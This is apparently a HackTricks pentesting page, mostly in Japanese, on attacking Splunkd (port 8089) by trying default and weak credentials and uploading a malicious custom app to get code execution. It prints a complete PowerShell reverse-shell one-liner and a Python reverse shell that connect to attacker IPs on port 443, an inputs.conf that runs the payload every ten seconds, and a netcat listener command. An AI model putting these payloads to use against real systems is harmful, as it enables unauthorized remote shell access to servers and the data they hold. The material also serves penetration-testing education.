8089 - Pentesting Splunkd

htARTE(HackTricks AWS Red Team Expert) からAWSハッキングをゼロからヒーローまで学ぶ

HackTricksをサポートする他の方法:

基本情報

Splunkはログ分析ツールであり、データの収集、分析、可視化において重要な役割を果たします。最初の目的はSIEM(セキュリティ情報およびイベント管理)ツールとしてではありませんでしたが、セキュリティ監視やビジネス分析の領域で人気を博しています。

Splunkの展開は頻繁に機密データの保存に使用され、システムを侵害することに成功すれば、潜在的な攻撃者にとって貴重な情報源となり得ます。デフォルトポート: 8089

PORT     STATE SERVICE VERSION
8089/tcp open  http    Splunkd httpd

Splunkウェブサーバーはデフォルトでポート8000で実行されます

列挙

無料版

Splunk Enterpriseトライアルは60日後に無料版に変換され、認証が不要です。システム管理者がSplunkのトライアルをインストールして試すことは珍しくありませんが、その後忘れ去られることがあります。これにより、認証のない無料版に自動的に変換され、環境にセキュリティホールが導入されます。予算の制約により一部の組織が無料版を選択することがあり、ユーザー/ロール管理がないことの影響を完全に理解していないかもしれません。

デフォルトの資格情報

古いバージョンのSplunkでは、デフォルトの資格情報は**admin:changeme**で、ログインページに便利に表示されています。 しかし、最新バージョンのSplunkでは、インストールプロセス中に資格情報が設定されます。デフォルトの資格情報が機能しない場合は、adminWelcomeWelcome1Password123などの一般的な弱いパスワードをチェックする価値があります。

情報の取得

Splunkにログインすると、データを閲覧し、レポートを実行し、ダッシュボードを作成し、Splunkbaseライブラリからアプリケーションをインストールしたり、カスタムアプリケーションをインストールしたりできます。 コードも実行できます: Splunkには、サーバーサイドのDjangoアプリケーション、RESTエンドポイント、スクリプト入力、アラートスクリプトなど、コードを実行する複数の方法があります。Splunkサーバーでリモートコード実行を行う一般的な方法は、スクリプト入力を使用することです。

さらに、SplunkはWindowsまたはLinuxホストにインストールできるため、Bash、PowerShell、またはBatchスクリプトを実行するためのスクリプト入力を作成できます。

Shodan

  • Splunkビルド

RCE

カスタムアプリケーションの作成

カスタムアプリケーションはPython、Batch、Bash、またはPowerShellスクリプトを実行できます。 SplunkにはPythonがインストールされていることに注意してください。そのため、WindowsシステムでもPythonコードを実行できます。

こちらのSplunkパッケージを使用して、手助けを受けることができます。このリポジトリの**bin**ディレクトリには、PythonPowerShellの例があります。これをステップバイステップで進めてみましょう。

これを達成するには、まず以下のディレクトリ構造を使用してカスタムSplunkアプリケーションを作成する必要があります:

tree splunk_shell/

splunk_shell/
├── bin
└── default

binディレクトリには、実行するスクリプト(この場合はPowerShellリバースシェル)が含まれ、デフォルトディレクトリにはinputs.confファイルがあります。リバースシェルはPowerShellのワンライナーになります:

$client = New-Object System.Net.Sockets.TCPClient('10.10.10.10',443);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2  = $sendback + 'PS ' + (pwd).Path + '> ';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close(

The inputs.confファイルは、Splunkにどのスクリプトを実行するかとその他の条件を伝えます。ここでは、アプリを有効に設定し、Splunkにスクリプトを10秒ごとに実行するよう指示しています。インターバルは常に秒単位であり、この設定が存在する場合にのみ、入力(スクリプト)が実行されます。

cat inputs.conf

[script://./bin/rev.py]
disabled = 0
interval = 10
sourcetype = shell

[script://.\bin\run.bat]
disabled = 0
sourcetype = shell
interval = 10
アプリケーションが展開されるときに実行される`.bat`ファイルが必要です。次のステップは、`ファイルからアプリをインストール`を選択してアプリケーションをアップロードすることです。

<figure><img src="../.gitbook/assets/image (668).png" alt=""><figcaption></figcaption></figure>

悪意のあるカスタムアプリをアップロードする前に、Netcatまたは[socat](https://linux.die.net/man/1/socat)を使用してリスナーを開始しましょう。
sudo nc -lnvp 443

listening on [any] 443 ...

Japanese

On the Upload app page, click on browse, choose the tarball we created earlier and click Upload. As soon as we upload the application, a reverse shell is received as the status of the application will automatically be switched to Enabled.

Linux

If we were dealing with a Linux host, we would need to edit the rev.py Python script before creating the tarball and uploading the custom malicious app. The rest of the process would be the same, and we would get a reverse shell connection on our Netcat listener and be off to the races.

import sys,socket,os,pty

ip="10.10.14.15"
port="443"
s=socket.socket()
s.connect((ip,int(port)))
[os.dup2(s.fileno(),fd) for fd in (0,1,2)]
pty.spawn('/bin/bash')

RCE & 特権昇格

以下のページでは、このサービスがどのように悪用されて特権昇格や永続性の取得に利用されるかについて説明があります:

pageSplunk LPE and Persistence

参考文献

ゼロからヒーローまでのAWSハッキングを学ぶ htARTE (HackTricks AWS Red Team Expert)!

HackTricks をサポートする他の方法:

Last updated